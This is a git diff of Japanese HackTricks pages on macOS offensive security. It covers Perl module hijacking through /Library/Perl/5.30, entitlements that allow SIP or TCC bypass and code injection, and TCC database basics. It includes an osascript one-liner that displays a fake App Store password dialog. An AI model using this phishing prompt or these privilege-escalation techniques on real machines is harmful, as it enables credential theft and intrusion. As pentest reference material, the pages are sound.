いくつかの返されたフォルダは存在しない場合がありますが、**`/Library/Perl/5.30`** は**存在します**。これは**SIP**によって**保護されていません**し、**SIPによって保護されたフォルダよりも前に**あります。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高特権のPerlスクリプトがそれを読み込むことができます。
|
||||
いくつかの返されたフォルダは存在しないが、**`/Library/Perl/5.30`** は**存在**し、**SIP** によって**保護されていない**上に、**SIP によって保護されたフォルダよりも前に位置している**。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高特権のPerlスクリプトがそれを読み込むことができる可能性がある。
|
||||
|
||||
{% hint style="warning" %}
|
||||
ただし、そのフォルダに書き込むには**root権限が必要**であり、現在ではこのような**TCCプロンプト**が表示されます:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
たとえば、スクリプトが**`use File::Basename;`**をインポートしている場合、`/Library/Perl/5.30/File/Basename.pm`を作成して任意のコードを実行させることが可能です。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,92 +2,91 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する[**@carlospolopm**](https://twitter.com/hacktricks_live)。
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="warning" %}
|
||||
**`com.apple`**で始まる権限は第三者には利用できず、Appleのみが付与できることに注意してください。
|
||||
**`com.apple`**で始まる権限はサードパーティには利用できず、Appleのみがそれを付与できることに注意してください。
|
||||
{% endhint %}
|
||||
|
||||
## 高
|
||||
## High
|
||||
|
||||
### `com.apple.rootless.install.heritable`
|
||||
|
||||
**`com.apple.rootless.install.heritable`** 権限は**SIPをバイパス**することを可能にします。[こちらを参照してください](macos-sip.md#com.apple.rootless.install.heritable)。
|
||||
権限**`com.apple.rootless.install.heritable`**は**SIPをバイパス**することを可能にします。詳細は[こちら](macos-sip.md#com.apple.rootless.install.heritable)を参照してください。
|
||||
|
||||
### **`com.apple.rootless.install`**
|
||||
|
||||
**`com.apple.rootless.install`** 権限は**SIPをバイパス**することを可能にします。[こちらを参照してください](macos-sip.md#com.apple.rootless.install)。
|
||||
権限**`com.apple.rootless.install`**は**SIPをバイパス**することを可能にします。詳細は[こちら](macos-sip.md#com.apple.rootless.install)を参照してください。
|
||||
|
||||
### **`com.apple.system-task-ports` (以前は `task_for_pid-allow` と呼ばれていた)**
|
||||
### **`com.apple.system-task-ports`(以前は`task_for_pid-allow`と呼ばれていました)**
|
||||
|
||||
この権限は、カーネルを除く任意のプロセスの**タスクポートを取得**することを可能にします。[**こちらを参照してください**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
|
||||
この権限は、カーネルを除く**任意の**プロセスの**タスクポートを取得**することを可能にします。詳細は[こちら](../mac-os-architecture/macos-ipc-inter-process-communication/)を参照してください。
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
この権限は、**`com.apple.security.cs.debugger`** 権限を持つ他のプロセスが、この権限を持つバイナリによって実行されるプロセスのタスクポートを取得し、**コードを注入する**ことを可能にします。[**こちらを参照してください**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
|
||||
この権限は、他のプロセスが**`com.apple.security.cs.debugger`**権限を持つプロセスのタスクポートを取得し、この権限を持つバイナリで実行されるプロセスにコードを**インジェクト**することを可能にします。詳細は[こちら](../mac-os-architecture/macos-ipc-inter-process-communication/)を参照してください。
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
デバッグツール権限を持つアプリは、`task_for_pid()`を呼び出して、`Get Task Allow`権限が`true`に設定されている未署名およびサードパーティアプリの有効なタスクポートを取得できます。しかし、デバッグツール権限があっても、デバッガーは`Get Task Allow`権限を持たないプロセスのタスクポートを取得することは**できません**。これらのプロセスはシステムインテグリティ保護によって保護されています。[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)。
|
||||
デバッグツール権限を持つアプリケーションは、`Get Task Allow`権限が`true`に設定された未署名およびサードパーティアプリケーションの有効なタスクポートを取得するために`task_for_pid()`を呼び出すことができます。ただし、デバッグツール権限があっても、デバッガーは**`Get Task Allow`権限を持たないプロセス**のタスクポートを取得できず、したがってシステム整合性保護によって保護されているプロセスのタスクポートを取得できません。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)を参照してください。
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
この権限は、Appleによって署名されていない、またはメイン実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリを**読み込むことを可能にします**。したがって、攻撃者は任意のライブラリの読み込みを悪用してコードを注入する可能性があります。[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)。
|
||||
この権限は、Appleによって署名されていないか、メインの実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリを**ロード**することを可能にし、攻撃者が任意のライブラリのロードを悪用してコードをインジェクトすることができます。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)を参照してください。
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
この権限は**`com.apple.security.cs.disable-library-validation`** と非常に似ていますが、ライブラリ検証を**直接無効にする**のではなく、プロセスが`csops`システムコールを呼び出して無効にすることを可能にします。\
|
||||
[**こちらを参照してください**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。
|
||||
この権限は**`com.apple.security.cs.disable-library-validation`**と非常に似ており、**ライブラリの検証を直接無効にする**代わりに、プロセスが**`csops`システムコールを呼び出して無効にする**ことを可能にします。\
|
||||
詳細は[こちら](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)を参照してください。
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
||||
この権限は、ライブラリやコードを注入するために使用できる**DYLD環境変数の使用**を可能にします。[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)。
|
||||
この権限は、ライブラリやコードをインジェクトするために使用できる**DYLD環境変数**を使用することを可能にします。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)を参照してください。
|
||||
|
||||
### `com.apple.private.tcc.manager`または`com.apple.rootless.storage`.`TCC`
|
||||
|
||||
[**このブログ**](https://objective-see.org/blog/blog\_0x4C.html) **と** [**このブログ**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)によると、これらの権限は**TCC**データベースを**変更**することを可能にします。
|
||||
[**このブログ**](https://objective-see.org/blog/blog\_0x4C.html) **および** [**このブログ**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)によると、これらの権限は**TCC**データベースを**変更**することを可能にします。
|
||||
|
||||
### **`system.install.apple-software`** と **`system.install.apple-software.standar-user`**
|
||||
### **`system.install.apple-software`**および**`system.install.apple-software.standar-user`**
|
||||
|
||||
これらの権限は、ユーザーに許可を求めることなく**ソフトウェアをインストール**することを可能にし、**権限昇格**に役立つ可能性があります。
|
||||
これらの権限は、ユーザーに許可を求めることなく**ソフトウェアをインストール**することを可能にし、**特権昇格**に役立ちます。
|
||||
|
||||
### `com.apple.private.security.kext-management`
|
||||
|
||||
**カーネルにカーネル拡張をロード**するように要求するために必要な権限です。
|
||||
カーネルに**カーネル拡張機能をロードするように要求**するための権限が必要です。
|
||||
|
||||
### **`com.apple.private.icloud-account-access`**
|
||||
|
||||
**`com.apple.private.icloud-account-access`** 権限を持つと、**`com.apple.iCloudHelper`** XPCサービスと通信し、**iCloudトークンを提供**することが可能です。
|
||||
権限**`com.apple.private.icloud-account-access`**を使用すると、**`com.apple.iCloudHelper`** XPCサービスと通信し、**iCloudトークンを提供**できます。
|
||||
|
||||
**iMovie** と **Garageband** はこの権限を持っていました。
|
||||
**iMovie**と**Garageband**にはこの権限がありました。
|
||||
|
||||
その権限から**iCloudトークンを取得する**ためのエクスプロイトについての詳細は、トーク: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)をご覧ください。
|
||||
この権限から**iCloudトークンを取得**するためのエクスプロイトについての詳細については、次のトークを参照してください:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
TODO: これが何を可能にするのかはわかりません
|
||||
TODO: これが何を許可するかわかりません
|
||||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)によると、これはリブート後にSSV保護されたコンテンツを更新するために使用できると言及されています。方法を知っている場合はPRを送ってください!
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **には、再起動後にSSVで保護されたコンテンツを更新するために**これを使用できる可能性があると記載されています。わかる場合はPRを送信してください!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)によると、これはリブート後にSSV保護されたコンテンツを更新するために使用できると言及されています。方法を知っている場合はPRを送ってください!
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **には、再起動後にSSVで保護されたコンテンツを更新するために**これを使用できる可能性があると記載されています。わかる場合はPRを送信してください!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
この権限は、アプリケーションがアクセスできる**キーチェーン**グループをリストします:
|
||||
この権限リストは、アプリケーションがアクセスできる**キーチェーン**グループを示しています:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
|
@ -100,62 +99,60 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
|
|||
```
|
||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
**フルディスクアクセス**権限を与えます。これはTCCで最も高い権限の一つです。
|
||||
**フルディスクアクセス**権限を与え、持っているできるTCCの最高権限の1つです。
|
||||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
アプリに他のアプリケーションへイベントを送信することを許可し、これは一般的に**タスクの自動化**に使用されます。他のアプリを制御することで、それらのアプリに付与された権限を悪用することができます。
|
||||
アプリが**タスクの自動化**に一般的に使用される他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
|
||||
|
||||
例えば、ユーザーにパスワードを求めるように仕向けることができます:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
ユーザーにパスワードを求めさせるようにすることもできます:
|
||||
```bash
|
||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
または、**任意のアクション**を実行させること。
|
||||
またはそれらを**任意のアクション**を実行させることができます。
|
||||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
他の権限の中でも、**ユーザーのTCCデータベースを書き込む**ことを許可します。
|
||||
他の権限の中で、**ユーザーのTCCデータベースを書き込む**ことができます。
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
**`NFSHomeDirectory`** 属性を変更して、ユーザーのホームフォルダのパスを変更し、それによって**TCCをバイパス**することを許可します。
|
||||
ユーザーの`NFSHomeDirectory`属性を**変更**することを許可し、ホームフォルダのパスを変更してTCCを**バイパス**することができます。
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
デフォルトでは禁止されているアプリバンドル内のファイル(app.app内)を変更することを許可します。
|
||||
アプリのバンドル内のファイル(app.app内)を変更することを許可しますが、これは**デフォルトで許可されていません**。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
このアクセス権を持っている人を _システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_ で確認できます。
|
||||
このアクセス権を持っているユーザーは、_システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_ で確認できます。
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
このプロセスは、**macOSのアクセシビリティ機能を悪用**することができます。つまり、例えばキーストロークを押すことができるということです。したがって、Finderのようなアプリの制御を要求し、この権限でダイアログを承認することができます。
|
||||
プロセスは**macOSのアクセシビリティ機能を悪用**することができ、たとえばキーストロークを押すことができます。そのため、Finderのようなアプリを制御するアクセスをリクエストし、この権限でダイアログを承認することができます。
|
||||
|
||||
## 中程度
|
||||
## Medium
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
この権限は、`mmap()` システム関数に `MAP_JIT` フラグを渡すことで、**書き込み可能で実行可能なメモリを作成**することを許可します。詳細は[**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)。
|
||||
この権限により、`MAP_JIT`フラグを`mmap()`システム関数に渡すことで、**書き込み可能かつ実行可能なメモリを作成**することができます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)を参照してください。
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
この権限は、**Cコードをオーバーライドまたはパッチ**すること、長く非推奨とされている**`NSCreateObjectFileImageFromMemory`**(根本的に安全でない)を使用すること、または**DVDPlayback**フレームワークを使用することを許可します。詳細は[**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。
|
||||
この権限により、Cコードを**オーバーライドまたはパッチ**することができ、長期間非推奨となっている**`NSCreateObjectFileImageFromMemory`**(基本的に安全ではない)を使用したり、**DVDPlayback**フレームワークを使用したりできます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)を参照してください。
|
||||
|
||||
{% hint style="danger" %}
|
||||
この権限を含めると、メモリ安全でないコード言語の一般的な脆弱性にアプリがさらされる可能性があります。アプリがこの例外を必要とするかどうか慎重に検討してください。
|
||||
この権限を含めると、アプリがメモリの安全でないコード言語に一般的な脆弱性にさらされる可能性があります。この例外がアプリに必要かどうかを慎重に検討してください。
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
この権限は、**自身の実行可能ファイルのセクションをディスク上で変更**して強制終了することを許可します。詳細は[**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。
|
||||
この権限により、ディスク上の自身の実行可能ファイルのセクションを**強制的に終了**することができます。詳細は[**こちら**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)を参照してください。
|
||||
|
||||
{% hint style="danger" %}
|
||||
実行可能メモリ保護を無効にする権限は、アプリから基本的なセキュリティ保護を取り除く極端な権限であり、攻撃者が検出されることなくアプリの実行コードを書き換える可能性を生じさせます。可能であれば、より狭い範囲の権限を優先してください。
|
||||
実行可能メモリ保護を無効にする権限は、アプリから基本的なセキュリティ保護を削除し、攻撃者がアプリの実行コードを検出されずに書き換えることが可能になります。可能であれば、より狭い権限を選択してください。
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
@ -164,31 +161,29 @@ TODO
|
|||
|
||||
### `com.apple.private.nullfs_allow`
|
||||
|
||||
この権限は、デフォルトでは禁止されているnullfsファイルシステムをマウントすることを許可します。ツール: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master)。
|
||||
この権限により、通常は禁止されているnullfsファイルシステムをマウントすることができます。ツール: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
|
||||
|
||||
### `kTCCServiceAll`
|
||||
|
||||
このブログポストによると、通常このTCC権限は以下の形で見つかります:
|
||||
このブログ投稿によると、このTCC権限は通常、以下の形式で見つかります:
|
||||
```
|
||||
[Key] com.apple.private.tcc.allow-prompting
|
||||
[Value]
|
||||
[Array]
|
||||
[String] kTCCServiceAll
|
||||
```
|
||||
プロセスに**すべてのTCC権限を要求する**ことを許可します。
|
||||
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
他のHackTricksのサポート方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **会社をHackTricksで宣伝したい**か、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,26 +7,26 @@
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**TCC(Transparency, Consent, and Control)**は、アプリケーションの権限を規制するセキュリティプロトコルです。主な役割は、**位置情報サービス、連絡先、写真、マイクロフォン、カメラ、アクセシビリティ、およびフルディスクアクセス**などの機密機能を保護することです。これらの要素へのアプリのアクセスを許可する前に明示的なユーザーの同意を義務付けることで、TCCはプライバシーを強化し、ユーザーがデータを制御できるようにします。
|
||||
**TCC(Transparency, Consent, and Control)**は、アプリケーションの権限を規制するセキュリティプロトコルです。主な役割は、**位置情報サービス、連絡先、写真、マイクロフォン、カメラ、アクセシビリティ、およびフルディスクアクセス**などの機密機能を保護することです。TCCは、これらの要素へのアプリのアクセスを許可する前に明示的なユーザーの同意を義務付けることで、プライバシーを強化し、ユーザーがデータを制御できるようにします。
|
||||
|
||||
ユーザーは、アプリケーションが保護された機能へのアクセスをリクエストするときにTCCに遭遇します。これは、ユーザーが**アクセスを承認または拒否**できるプロンプトを介して可視化されます。さらに、TCCは、**ファイルをアプリケーションにドラッグアンドドロップする**などの直接的なユーザーアクションを受け入れ、特定のファイルへのアクセスを許可することで、アプリケーションが明示的に許可されたものだけにアクセスできるようにします。
|
||||
ユーザーは、アプリケーションが保護された機能へのアクセスをリクエストする際にTCCに遭遇します。これは、ユーザーが**アクセスを承認または拒否**できるプロンプトを介して可視化されます。さらに、TCCは、**ファイルをアプリケーションにドラッグアンドドロップする**などの直接的なユーザーアクションを受け入れ、特定のファイルへのアクセスを許可することで、アプリケーションが明示的に許可されたものだけにアクセスできるようにします。
|
||||
|
||||
![TCCプロンプトの例](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
**TCC**は、`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`にある**デーモン**によって処理され、`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`で構成されています(`com.apple.tccd.system`マッチサービスを登録)。
|
||||
**TCC**は、`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`にある**デーモン**によって処理され、`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`で構成されています(machサービス`com.apple.tccd.system`を登録)。
|
||||
|
||||
ログインしているユーザーごとに定義された**ユーザーモードのtccd**が`/System/Library/LaunchAgents/com.apple.tccd.plist`に実行され、`com.apple.tccd`および`com.apple.usernotifications.delegate.com.apple.tccd`のマッチサービスを登録しています。
|
||||
ログインしているユーザーごとに定義された**ユーザーモードのtccd**が`/System/Library/LaunchAgents/com.apple.tccd.plist`に実行され、machサービス`com.apple.tccd`および`com.apple.usernotifications.delegate.com.apple.tccd`を登録しています。
|
||||
|
||||
ここでは、システムとユーザーとして実行されているtccdを見ることができます。
|
||||
ここでは、システムとユーザーとして実行されているtccdを見ることができます:
|
||||
```bash
|
||||
ps -ef | grep tcc
|
||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
|
@ -38,28 +38,28 @@ ps -ef | grep tcc
|
|||
|
||||
許可/拒否は次の TCC データベースに保存されます:
|
||||
|
||||
- **`/Library/Application Support/com.apple.TCC/TCC.db`** にあるシステム全体のデータベース。
|
||||
- このデータベースは**SIP 保護**されており、SIP バイパスのみが書き込めます。
|
||||
- ユーザー TCC データベース **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** はユーザーごとの設定に使用されます。
|
||||
- このデータベースは保護されており、FDA のような高い TCC 権限を持つプロセスのみが書き込めます(ただし、SIP によって保護されていません)。
|
||||
* **`/Library/Application Support/com.apple.TCC/TCC.db`** にあるシステム全体のデータベース。
|
||||
* このデータベースは**SIP 保護**されており、SIP バイパスのみが書き込めます。
|
||||
* ユーザー TCC データベース **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** はユーザーごとの設定に使用されます。
|
||||
* このデータベースは、**FDA**などの高いTCC権限を持つプロセスのみが書き込めます(ただし、SIP によって保護されていません)。
|
||||
|
||||
{% hint style="warning" %}
|
||||
前述のデータベースは読み取りアクセスのためにも**TCC で保護**されています。そのため、通常のユーザー TCC データベースを読み取ることはできませんが、TCC 特権プロセスからであれば可能です。
|
||||
前述のデータベースは読み取りアクセスに対しても**TCC 保護**されています。したがって、通常のユーザー TCC データベースを読み取ることはできません(TCC 権限を持つプロセスからでない限り)。
|
||||
|
||||
ただし、FDA や `kTCCServiceEndpointSecurityClient` のようなこれらの高い権限を持つプロセスは、ユーザーの TCC データベースに書き込むことができます。
|
||||
ただし、**FDA**や**`kTCCServiceEndpointSecurityClient`**などの高い権限を持つプロセスは、ユーザーのTCCデータベースに書き込むことができます。
|
||||
{% endhint %}
|
||||
|
||||
- **`/var/db/locationd/clients.plist`** には**位置情報サービスにアクセスを許可されたクライアント**が示されている第三の TCC データベースがあります。
|
||||
- SIP 保護されたファイル **`/Users/carlospolop/Downloads/REG.db`**(TCC による読み取りアクセスも保護されています)には、すべての**有効な TCC データベースの場所**が含まれています。
|
||||
- SIP 保護されたファイル **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(TCC による読み取りアクセスも保護されています)には、さらに TCC が許可された権限が含まれています。
|
||||
- SIP 保護されたファイル **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(誰でも読み取り可能)は、TCC 例外が必要なアプリケーションの許可リストです。
|
||||
* **`/var/db/locationd/clients.plist`** には、**位置情報サービスにアクセスを許可されたクライアント**が示されている第三のTCCデータベースがあります。
|
||||
* SIP 保護ファイル **`/Users/carlospolop/Downloads/REG.db`**(TCC による読み取りアクセスも保護されています)には、すべての**有効なTCCデータベースの場所**が含まれています。
|
||||
* SIP 保護ファイル **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(TCC による読み取りアクセスも保護されています)には、さらにTCCが許可された権限が含まれています。
|
||||
